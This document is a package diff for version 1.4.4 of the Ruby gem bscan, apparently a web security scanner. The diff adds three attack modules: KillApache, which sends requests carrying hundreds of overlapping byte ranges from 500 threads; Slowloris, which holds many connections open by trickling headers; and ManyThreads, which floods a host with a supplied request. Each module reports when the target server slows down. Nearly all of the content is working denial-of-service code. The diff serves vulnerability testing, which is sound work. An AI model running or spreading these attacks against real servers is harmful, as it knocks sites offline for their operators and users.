bscan 1.4.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,201 @@
1
+ require "socket"
2
+ require "thread"
3
+ require "openssl"
4
+ require "timeout"
5
+
6
+ require 'bscan/utils/bscan_helper.rb'
7
+
8
+ module KillApache
9
+ def run *args
10
+ @bscan = args[0]
11
+ @config ||= @bscan.bscan_config
12
+ @bscan.activity[0]=true
13
+
14
+ @prop_pref = 'bscan.kill_apache.'
15
+ @prop_pref += args[2] + '.' if args[2] && args[2].length > 0
16
+ @mid = args[2]?"KillApache.#{args[2]}.":'KillApache.'
17
+
18
+ proto = @config[prop('protocol')]
19
+ proto ||= 'http'
20
+
21
+ threads = @config[prop('threads')]
22
+ threads ||= '500'
23
+ threads = threads.to_i
24
+
25
+ rtf = @config[prop('response_time_factor')]
26
+ rtf ||= '10'
27
+ rtf = rtf.to_i
28
+ rpt = @config[prop('req_per_thread')]
29
+ rpt ||= '1'
30
+ rpt = rpt.to_i
31
+ @rto = @config[prop('read_timeout')]
32
+ @rto ||= '10'
33
+ @rto = @rto.to_i
34
+ ranges = @config[prop('range_nbr')]
35
+ ranges ||= '500'
36
+ ranges = ranges.to_i
37
+ host = @config[prop('hostport')]
38
+ raise "#{@mid}run parameter #{prop 'hostport'} is missing, exiting" if not host
39
+ host,port = host.split(':')
40
+ port = (proto=='http'?80:443) if not port
41
+
42
+ req = "HEAD / HTTP/1.1\r\n"+
43
+ "Host: #{host}:#{port}\r\n"+
44
+ "Range:bytes=0-@@@\r\n"+
45
+ "Accept-Encoding: gzip\r\n"+
46
+ "Connection: close\r\n\r\n"
47
+
48
+ nreq = req.sub /Range:bytes=@@@\r\n/, ""
49
+ inj = ''
50
+ start = 5
51
+
52
+ ranges.times do |t|
53
+ inj += ",#{start}-#{t}"
54
+ end
55
+ req.sub!(/@@@/,inj)
56
+
57
+ @bscan.Log 2, "#{@mid}run input: #{threads} #{rpt} #{rtf} #{host} #{port}\n#{req}"
58
+
59
+ @threadinfo = {}
60
+ threads.times do |t|
61
+ @threadinfo[t] = {}
62
+ for con in 0..rpt-1
63
+ @threadinfo[t][con]=nil # need to add keys if they are not there yet
64
+ end
65
+ end
66
+
67
+ trg,host,port = get_url_host_port req,proto
68
+
69
+ @infom ||= Mutex.new
70
+
71
+ rsp,nrt = get_normal_response_time(host, port, nreq, proto, threads)
72
+
73
+ @bscan.Log 2, "#{@mid}run normal rt: #{nrt} \n#{rsp}"
74
+
75
+ # Monitoring thread
76
+ Thread.new do
77
+ maxtime=0
78
+ while (true)
79
+ begin
80
+ sleep 2.5
81
+ rsp,rt = get_normal_response_time(host, port, nreq, proto, threads)
82
+ @bscan.Log 2, "#{@mid}run monitor rt: #{rt}\n#{rsp}"
83
+ maxtime = rt if rt > nrt*rtf && rt > maxtime
84
+ ex = true
85
+ tnum = 0
86
+ cnum = 0
87
+ @threadinfo.each_pair do |t,c|
88
+ inc_t = false
89
+ if c
90
+ c.each_key do |k|
91
+ if c[k] == 1
92
+ cnum += 1
93
+ inc_t = true
94
+ ex = false
95
+ end
96
+ end
97
+ end
98
+ tnum += 1 if inc_t
99
+ end
100
+ @bscan.Log 2, "#{@mid}run monitor t/c : #{tnum}/#{cnum}, will sleep 5 sec"
101
+ break if ex
102
+ rescue Exception => e
103
+ @bscan.Log 1, "#{@mid}run Exception: #{e.message}"
104
+ @bscan.Log 1, e.backtrace.join("\n")
105
+ end
106
+ end
107
+ @bscan.Log 1, "#{@mid}run exiting monitor: #{maxtime}"
108
+ if maxtime > 0
109
+ issue = Issue.new "#{@mid.chop}: Apache Killer succeeded", trg, "Medium", "Firm", req, rsp,
110
+ "Response time under atack was #{maxtime}, which is #{maxtime/nrt} times bigger than normal response time: #{nrt}"
111
+ @bscan.write_issue_state issue
112
+ end
113
+ end
114
+
115
+ threads.times do |t|
116
+ Thread.new do
117
+ begin
118
+ @bscan.Log 2, "#{@mid}run thread: #{t} #{rpt}"
119
+ for con in 0..rpt-1
120
+ send_get_rsp host,port,req,proto,t,con
121
+ end
122
+ rescue Exception => e
123
+ @bscan.Log 1, "#{@mid}run Exception: #{e.message}"
124
+ @bscan.Log 1, e.backtrace.join("\n")
125
+ Thread.current.exit
126
+ end
127
+ end
128
+ end
129
+ end
130
+
131
+ def send_get_rsp host,port,req,proto,t,c
132
+ @bscan.activity[0]=true
133
+ @threadinfo[t][c] = 1
134
+ rsp =''
135
+ s=nil
136
+ begin
137
+ timeout(@rto) do
138
+ s = TCPSocket.new(host, port)
139
+ if (proto =~ /https/i)
140
+ ctx = OpenSSL::SSL::SSLContext.new
141
+ ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
142
+ s = OpenSSL::SSL::SSLSocket.new(s, ctx)
143
+ s.connect
144
+ end
145
+ l = s.syswrite(req)
146
+ raise "only #{l} bytes out of #{req.length} written #{t} #{req}" if l != req.length
147
+ rsp = read_response s
148
+ @bscan.Log 2, "#{@mid}send_get_rsp succeeded for #{t} #{rsp}"
149
+ end
150
+ rescue Exception => e
151
+ @bscan.Log 1, "#{@mid}send_get_rsp failed for #{t} Exception: #{e.message}"
152
+ @bscan.Log 1, e.backtrace.join("\n")
153
+ @threadinfo[t][c] = nil
154
+ end
155
+
156
+ begin
157
+ s.close if s
158
+ rescue Exception => e
159
+ @bscan.Log 1, "#{@mid}send_get_rsp close for #{t} Exception: #{e.message}"
160
+ end
161
+ @threadinfo[t][c] = 0
162
+
163
+ rsp
164
+ end
165
+
166
+
167
+ def get_normal_response_time host,port,req,proto,t
168
+ @threadinfo[t] ||= {}
169
+ rsp = ''
170
+ start = Time.now
171
+ @bscan.activity[0]=true
172
+ begin
173
+ rsp = send_get_rsp host,port,req,proto,t,0
174
+ rescue Exception => e
175
+ @bscan.Log 1, "#{@mid}get_normal_response_time Exception : #{e.message}"
176
+ end
177
+ [rsp,Time.now - start]
178
+ end
179
+
180
+ def read_response s
181
+ rsp=''
182
+ begin
183
+ while (ch=s.sysread(1))
184
+ rsp += ch
185
+ if rsp =~ /Content-Length\s*:\s*(\d+)\r?\n$/i
186
+ len = $1.to_i
187
+ while (c=s.sysread(1))
188
+ rsp += c
189
+ if rsp[-4..-1] == "\r\n\r\n" || rsp[-2..-1] == "\n\n"
190
+ rsp += s.sysread(len)
191
+ break
192
+ end
193
+ end
194
+ break
195
+ end
196
+ end
197
+ rescue EOFError
198
+ end
199
+ rsp
200
+ end
201
+ end
@@ -0,0 +1,52 @@
1
+ require 'bscan/utils/bscan_helper.rb'
2
+
3
+ module ManyThreads
4
+
5
+ def run *args
6
+ @bscan = args[0]
7
+ @config ||= @bscan.bscan_config
8
+
9
+ @bscan.activity[0]=true
10
+
11
+ @prop_pref = 'bscan.many_threads.'
12
+ @prop_pref += args[2] + '.' if args[2] && args[2].length > 0
13
+ @mid = args[2]?"ManyThreads.#{args[2]}.":'ManyThreads.'
14
+
15
+ param = @config[prop('request')]
16
+ a=[]
17
+ if (not param or (a=param.split(':',3)).size < 2)
18
+ @bscan.Log 0, "#{@mid}run: 'request' parameter is not valid #{param}, it should be 'request.txt:protocol[:repeater]'"
19
+ return
20
+ end
21
+ threads = @config[prop('threads')]
22
+ threads ||= '10'
23
+ @bscan.Log 2, "#{@mid}run input: #{a.join('|')} #{threads}"
24
+
25
+ threads = threads.to_i
26
+
27
+ begin
28
+ f,proto,rep = a
29
+
30
+ file = open_in_path(f)
31
+ req = file.read
32
+ req.gsub!(/\^M\n/,"\r\n")
33
+ if (rep)
34
+ rep = Regexp.escape(rep)
35
+ req.gsub!(/#{rep}(.+?)#{rep}(\d+)/) {|m| $1*$2.to_i}
36
+ end
37
+
38
+ set_len req
39
+
40
+ file.close
41
+ threads.times do
42
+ Thread.new() {
43
+ @bscan.activity[0]=true
44
+ send_req req, proto, ''
45
+ }
46
+ end
47
+ rescue Exception => e
48
+ @bscan.Log 0, "#{@mid}run Exception: #{e.message}"
49
+ @bscan.Log 0, e.backtrace.join("\n")
50
+ end
51
+ end
52
+ end
@@ -0,0 +1,263 @@
1
+ require "socket"
2
+ require "thread"
3
+ require "openssl"
4
+
5
+ require 'bscan/utils/bscan_helper.rb'
6
+
7
+ module Slowloris
8
+ def run *args
9
+ @bscan = args[0]
10
+ @config ||= @bscan.bscan_config
11
+ @bscan.activity[0]=true
12
+
13
+ @prop_pref = 'bscan.slowloris.'
14
+ @prop_pref += args[2] + '.' if args[2] && args[2].length > 0
15
+ @mid = args[2]?"Slowloris.#{args[2]}.":'Slowloris.'
16
+ begin
17
+ proto = @config[prop('protocol')]
18
+ proto ||= 'http'
19
+
20
+ threads = @config[prop('threads')]
21
+ threads ||= '20'
22
+ threads = threads.to_i
23
+
24
+ rtf = @config[prop('response_time_factor')]
25
+ rtf ||= '5'
26
+ rtf = rtf.to_i
27
+ slt = @config[prop('sleep_time')]
28
+ slt ||= '100'
29
+ slt = slt.to_i
30
+ cn = @config[prop('con_nbr_per_thread')]
31
+ cn ||= 50
32
+ cn = cn.to_i
33
+ ppc = @config[prop('pack_per_con')]
34
+ ppc ||= 5
35
+ ppc = ppc.to_i
36
+
37
+ http_method = @config[prop('method')]
38
+ http_method ||= 'GET'
39
+
40
+ req = @config[prop('request')]
41
+ nreq = nil
42
+ if req
43
+ file = open_in_path(req)
44
+ r = file.read
45
+ req.gsub!(/\^M\n/,"\r\n")
46
+ file.close
47
+ nreq = req
48
+ else
49
+ host = @config[prop('hostport')]
50
+ host,port = host.split(':') if host
51
+ raise "Either 'host' and 'port' or 'request' params must be set" if !host or !port
52
+ req = "#{http_method} /@@@ HTTP/1.1\r\n" +
53
+ "Host: #{host}:#{port}\r\n" +
54
+ "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1"
55
+ if http_method == 'POST'
56
+ req += "\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 7\r\n"
57
+ nreq = req + "\r\nfoo=moo"
58
+ else
59
+ nreq = req + "\r\n\r\n"
60
+ end
61
+ end
62
+
63
+
64
+ @bscan.Log 2, "#{@mid}run input: #{threads} #{cn} #{ppc} #{rtf} #{slt} #{host} #{port}\n#{req}"
65
+ # rsp,nrt = get_normal_response_time nreq,proto
66
+ @threadinfo = {}
67
+ trg,host,port = get_url_host_port req,proto
68
+
69
+ @infom ||= Mutex.new
70
+
71
+ rsp,nrt = get_normal_response_time(host, port, nreq, proto, threads)
72
+ @bscan.Log 2, "#{@mid}run normal rt: #{nrt} \n#{rsp}"
73
+
74
+ # Monitoring thread
75
+ Thread.new do
76
+ maxtime=0
77
+ while (true)
78
+ begin
79
+ dl = slt/10
80
+ sleep dl < 10 ? 10 : dl
81
+ rsp,rt = get_normal_response_time(host, port, nreq, proto, threads)
82
+ @bscan.Log 2, "#{@mid}run monitor rt: #{rt}\n#{rsp}"
83
+ maxtime = rt if rt > nrt*rtf && rt > maxtime
84
+ ex = true
85
+ tnum = 0
86
+ cnum = 0
87
+ @threadinfo.each_pair do |t,c|
88
+ inc_t = false
89
+ c.each_key do |k|
90
+ if c[k]
91
+ cnum += 1
92
+ inc_t = true
93
+ ex = false
94
+ end
95
+ end
96
+ tnum += 1 if inc_t
97
+ end
98
+ @bscan.Log 2, "#{@mid}run monitor t/c : #{tnum}/#{cnum}, will sleep #{slt/4} sec"
99
+ break if ex
100
+ rescue Exception => e
101
+ @bscan.Log 1, "#{@mid}run Exception: #{e.message}"
102
+ @bscan.Log 1, e.backtrace.join("\n")
103
+ end
104
+ end
105
+ @bscan.Log 1, "#{@mid}run exiting monitor: #{maxtime}"
106
+ if maxtime > 0
107
+ issue = Issue.new "#{@mid.chop}: Slowloris succeeded", trg, "Medium", "Firm", req, rsp,
108
+ "Response time under atack was #{maxtime}, which is #{maxtime/nrt} times bigger than normal response time: #{nrt}"
109
+ @bscan.write_issue_state issue
110
+ end
111
+ end
112
+
113
+
114
+
115
+
116
+
117
+ threads.times do |t|
118
+
119
+ @infom.lock
120
+ @threadinfo[t] = {}
121
+ @infom.unlock
122
+
123
+ for con in 0..cn-1
124
+ @infom.lock
125
+ @threadinfo[t][con]=nil if not @threadinfo[t][con] # need to add keys if they are not there yet
126
+ @infom.unlock
127
+ end
128
+
129
+ Thread.new do
130
+ begin
131
+ @bscan.Log 2, "#{@mid}run thread: #{t} #{cn}"
132
+ make_conns cn,host,port,req,proto,t
133
+ for pcnt in 0..ppc-1
134
+ @bscan.Log 2, "#{@mid}run after sleep: #{t} #{cn}"
135
+ for con in 0..cn-1
136
+ send_more host,port,proto,t,con
137
+ end
138
+ sleep slt
139
+ end
140
+ raise Exception => e
141
+ @bscan.Log 1, "#{@mid}run Exception: #{e.message}"
142
+ @bscan.Log 1, e.backtrace.join("\n")
143
+ Thread.current.exit
144
+ end
145
+ end
146
+ end
147
+ close_all
148
+
149
+
150
+ rescue Exception => e
151
+ @bscan.Log 0, "#{@mid}run Exception: #{e.message}"
152
+ @bscan.Log 0, e.backtrace.join("\n")
153
+ end
154
+ end
155
+ def update_info t,con,val
156
+ @infom.lock
157
+ @threadinfo[t][con] = val if @threadinfo[t]
158
+ @infom.unlock
159
+ end
160
+ def close_all
161
+ @threadinfo.each_pair do |k,v|
162
+ v.each_key do |i|
163
+ begin
164
+ v[i].close if v[i]
165
+ update_info k,i,nil
166
+ rescue
167
+ end
168
+ end
169
+ end
170
+ end
171
+
172
+ def make_conns nbr,host,port,req,proto,t
173
+ @bscan.Log 2, "#{@mid}make_conns: #{t} #{nbr}"
174
+ nbr.times do |con|
175
+ @bscan.Log 2, "#{@mid}make_conns connection: #{t} #{con}"
176
+ send_slow host,port,req,proto,t,con
177
+ end
178
+ end
179
+
180
+ def send_more host,port,proto,t,con
181
+ send_slow host,port,"Connection: Keep-Alive\r\n",proto,t,con,false
182
+ end
183
+
184
+ def send_slow host,port,req,proto,t,con,reopen=true
185
+ @bscan.activity[0]=true
186
+ begin
187
+ s = @threadinfo[t][con]
188
+ rndr = random_url(req)
189
+
190
+ if !s || s.closed? || s.syswrite(rndr) != rndr.length
191
+ s.close if s && !s.closed?
192
+ raise "can't send more, connection closed #{host} #{port} #{t} #{con}" if not reopen
193
+
194
+ @bscan.Log 2, "#{@mid}send_slow new socket #{host} #{port} #{t} #{con}"
195
+ s = TCPSocket.new(host, port)
196
+ if (proto =~ /https/i)
197
+ ctx = OpenSSL::SSL::SSLContext.new
198
+ ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
199
+ s = OpenSSL::SSL::SSLSocket.new(s, ctx)
200
+ s.connect
201
+ end
202
+ update_info t,con,s
203
+ end
204
+ s.syswrite(rndr)
205
+ @bscan.Log 2, "#{@mid}send_slow succeeded for #{t} #{con} #{rndr}"
206
+ @bscan.Log 2, "#{@mid}send_slow send_more #{t} #{con}" if !reopen
207
+ rescue Exception => e
208
+ @bscan.Log 1, "#{@mid}send_slow failed for #{t} #{con}: #{e.message}"
209
+ begin
210
+ s.close
211
+ rescue
212
+ end
213
+ update_info t,con,nil
214
+ end
215
+ end
216
+
217
+ def random_url req
218
+ req.sub /^(POST|GET)\s+\/@@@/, "\\1 /#{'u'+rand(1000000).to_s}"
219
+ end
220
+
221
+ def get_normal_response_time host,port,req,proto,t
222
+ @threadinfo[t] ||= {}
223
+ rsp = ''
224
+ start = Time.now
225
+ @bscan.activity[0]=true
226
+ req = random_url req
227
+ begin
228
+ send_slow host,port,req,proto,t,0
229
+ s = @threadinfo[t][0]
230
+ if !s
231
+ raise "read failed for: #{req}"
232
+ end
233
+ rsp = read_response s
234
+ rescue Exception => e
235
+ @bscan.Log 1, "#{@mid}get_normal_response_time Exception : #{e.message}"
236
+ end
237
+ begin
238
+ s.close
239
+ rescue
240
+ end
241
+ update_info t,0,nil
242
+ [rsp,Time.now - start]
243
+ end
244
+
245
+ def read_response s
246
+ rsp=''
247
+ while (ch=s.sysread(1))
248
+ rsp += ch
249
+ if rsp =~ /Content-Length\s*:\s*(\d+)\r?\n$/i
250
+ len = $1.to_i
251
+ while (c=s.sysread(1))
252
+ rsp += c
253
+ if rsp[-4..-1] == "\r\n\r\n" || rsp[-2..-1] == "\n\n"
254
+ rsp += s.sysread(len)
255
+ break
256
+ end
257
+ end
258
+ break
259
+ end
260
+ end
261
+ rsp
262
+ end
263
+ end